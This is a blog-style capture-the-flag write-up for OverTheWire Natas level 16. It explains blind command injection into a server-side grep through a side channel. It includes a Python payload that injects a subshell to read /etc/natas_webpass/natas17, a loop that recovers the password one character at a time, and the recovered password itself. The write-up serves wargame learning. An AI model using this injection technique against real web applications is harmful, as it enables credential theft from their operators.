Writeups OverTheWireNatasWeb ExploitationCommand InjectionSide Channel

Natas 16 Writeup - OverTheWire

Writeup for Natas level 16 from OverTheWire: blind command injection via grep side channel.

Contents

Wargame: Natas

Level: 16

Category: Web Exploitation

Description

A dictionary search page runs grep -i $needle dictionary.txt server-side. Most shell metacharacters are filtered. The goal is to extract the natas17 password without any direct output.

Overview

Background: Blind Command Injection via Side Channel

Solution

Step 1: Identify Valid Injection Point

Step 2: Enumerate Characters in the Password

def check(prefix):
    needle = f"$(grep -E ^{prefix}.* /etc/natas_webpass/natas17)Africans"
    r = requests.post(url, auth=auth, data={"needle": needle})
    return "Africans" not in r.text  # True means prefix is correct

Step 3: Build the Password Prefix-by-Prefix

result = ""
while len(result) != 32:
    for c in charset:
        if check(result + c):
            result += c
            break

Password

XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd

← Back to Blog